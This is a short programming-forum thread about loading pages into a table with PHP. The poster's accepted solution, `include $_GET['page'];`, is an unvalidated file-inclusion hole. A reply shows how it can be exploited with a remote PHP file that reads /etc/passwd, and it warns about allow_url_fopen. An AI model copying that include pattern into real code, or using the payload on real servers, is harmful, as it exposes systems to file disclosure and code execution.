[RESOLVED] PHP to link pages to a table
I feel bad asking for code here..but I really have no idea where to start.
I once had a script to do this for me..and I uploaded it to
http://ss.phoenixavatars.com/lin1/
but the webmaster is an idiot and wont reset my password for me...so I don't have access to the code.
Anyways, what that script was, was it had a table, and within the table it had a PHP script to load a webpage; although I don't remember how it loaded the page.
I did this so the website wouldnt have to reload the page everytime a link was clicked.
Could someone point me to a tutorial, or give me a snipped of code to accomplish this? I've been googling for hours now trying to find some hint on how to do it..
Re: PHP to link pages to a table
Uhm ... just use an iframe?
Re: PHP to link pages to a table
Quote:
Originally Posted by CornedBee
Uhm ... just use an iframe?
Frames are the devil ;)
Re: PHP to link pages to a table
They are, but I see no other reliable way of achieving what you want. You could grab the source of the other site and embed it in your page, but you'll have style conflicts, you have to rewrite all URLs (and possibly fetch dependent resources as well), ...
Re: PHP to link pages to a table
Quote:
Originally Posted by CornedBee
They are, but I see no other reliable way of achieving what you want. You could grab the source of the other site and embed it in your page, but you'll have style conflicts, you have to rewrite all URLs (and possibly fetch dependent resources as well), ...
I am working on getting ahold of my host for that site I linked to..But he is not responding.
The code would properly for me, because i have a template file the php links to.
Thanks for your help..I was just wondering if anyone could tell me how to link a webpage using php...
I tried using 'include' but it threw a bunch of errors my way
Re: PHP to link pages to a table
Just a heads up, incase anyone else has a question about this.
The code was:
Code:
<?php
include $_GET['page'];
?>
Would do the following:
If you had it in 1 part of the table, it would load members.html into that spot, if the user clicked the link "?page=members.html"
Re: [RESOLVED] PHP to link pages to a table
Yay!
http://www.yourdomain.com/yourpage.p...ker/mypage.txt
mypage.txt
Code:
<?php
$file = fopen("/etc/passwd", "rt");
fpassthru($file);
fclose($file);
?>
Do you have any other insane ideas of compromising your server?
(There is a reason most sysadmins disable allow_url_fopen.)